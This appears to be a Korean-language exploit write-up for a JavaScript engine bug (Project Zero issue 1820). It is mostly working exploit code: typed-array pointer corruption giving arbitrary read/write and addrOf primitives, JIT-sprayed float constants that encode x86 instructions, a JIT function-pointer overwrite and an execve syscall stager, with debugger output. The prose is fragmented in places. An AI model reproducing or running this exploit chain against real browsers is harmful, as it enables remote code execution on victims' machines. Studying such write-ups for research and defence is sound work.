
https://bugs.chromium.org/p/project-zero/issues/detail?id=1820
버그: https://bugs.chromium.org/p/project-zero/issues/detail?id=1820


exploit.js - 실제 익스플로잇, saelo의 util.js 및 Int64.js가 앞에 추가됨.stager.js - 상수 생성을 위해 사용되며, saelo의 util.js 및 Int64.js가 앞에 추가됨.stager.py - keystone을 사용하여 명령어를 조립하는 데 사용됨. 출력은 stager.js에 제공됨.setup()에서 수행).const exploit_pack = [
new Uint8Array(0x10),
new Uint8Array(0x10), // 이 [:8]을 사용하여 아래 배열의 데이터 포인터를 제어
new Uint8Array(0x10), // 임의 RW 배열
]
exploit_pack[0]의 백킹 버퍼를 넘어 exploit_pack[1]의 데이터 포인터 필드에 씀.
exploit_pack[2]의 데이터 포인터 필드 주소를 가리키도록 설정. // setup()
const v11 = v4.pop();
const addr = v11[11];
v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();
exploit_pack[1]의 내용으로 설정할 수 있으며,
내부적으로 exploit_pack[2]의 데이터 포인터를 수정합니다. 그런 다음 exploit_pack[2]를 사용하여
메모리를 읽거나 씁니다.function read(ptr) {
read_addr = new Int64(ptr);
// exploit_pack[2]의 데이터 포인터 변경
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = read_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// 포인터에서 0xfffe 제거
// bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
function write(ptr, value) {
let addr = new Int64(ptr);
let bytes = new Int64(value);
// exploit_pack[2]의 데이터 포인터 변경
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = addr.byteAt(idx);
}
for (var idx=0; idx < 8; idx++) {
exploit_pack[2][idx] = bytes.byteAt(idx);
}
}
exploit_pack 자체를 사용하여 addrOf 프리미티브를 구성합니다.function addrOf(obj) {
exploit_pack[3] = obj;
// exploit_pack[2]의 데이터 포인터 변경
for (var idx=0; idx < 8; idx++) {
exploit_pack[1][idx] = leaking_addr.byteAt(idx);
}
let bytes = exploit_pack[2].slice(0, 8);
// 포인터에서 0xfffe 제거
bytes[7] = 0x00; bytes[6] = 0x00;
obj_addr = new Int64(bytes);
// console.log(obj_addr);
return obj_addr;
// console.log(new Int64(obj_addr));
}
r-x 페이지에 강제로 넣을 수 있습니다.const stager = function (a, b, c, d) {
const rax = a;
const rdi = b;
const rsi = c;
const rdx = d;
const g0 = 9.073632937307107e-271;
const g1 = 1.6063957816990143e-270;
const g2 = 1.6082444981830348e-270;
const g3 = 1.6100929890177583e-270;
const g4 = 1.6119413952339954e-270;
const g5 = 1.68020602465e-313;
}
0xdeadc0debaad를 볼 수 있습니다.
gef➤ disas /r 0x0000085a6e604531,+20
Dump of assembler code from 0x85a6e604531 to 0x85a6e604545:
0x0000085a6e604531: 49 bb 80 ad ba de c0 ad de 07 movabs r11,0x7deadc0debaad80
0x0000085a6e60453b: 4c 89 5d a8 mov QWORD PTR [rbp-0x58],r11
0x0000085a6e60453f: 49 bb c0 48 8b 44 24 28 eb 07 movabs r11,0x7eb2824448b48c0
End of assembler dump.

gef➤ disas /r 0x0000085a6e604542,+10
Dump of assembler code from 0x85a6e604542 to 0x85a6e604556:
0x0000085a6e604542: 48 8b 44 24 28 mov rax,QWORD PTR [rsp+0x28]
0x0000085a6e604547: eb 07 jmp 0x85a6e604550
End of assembler dump.
4c 89 5d XX 49 bb 00 바이트를 우회하는 것입니다.
상대 점프를 사용하여 이 바이트들을 건너뛸 수 있습니다.$ rasm2 -a x86 -b 64 "jmp 7"
eb05

execve syscall을 위해 레지스터에
다음 값들이 필요합니다.rax: syscall 번호
rdi: 프로그램 경로
rsi: argv
rdx: envp
mov 명령어는 스택의 오프셋에서 관련 레지스터로 값을 이동하는 데 매우 유용합니다.
정확히 5바이트입니다.$ rasm2 -a x86 -b 64 "mov rdi, QWORD [rsp + 0x28]"
488b442428
따라서 상수를 구성할 수 있습니다. 이것들이 어떻게 생성되었는지 확인하려면 stager.py -> stager.js를 참조하십시오.
객체 구조에서 실제 JIT 함수 포인터를 덮어쓰고 오프셋으로 교체합니다. 매개변수와 함께 함수를 호출합니다.
write(jitGetter, jmpOffset);
stager(
new Int64(59).asDouble(),
new Int64(pathAddr).asDouble(),
new Int64(argvBufferAddr).asDouble(),
new Int64(environBufferAddr).asDouble());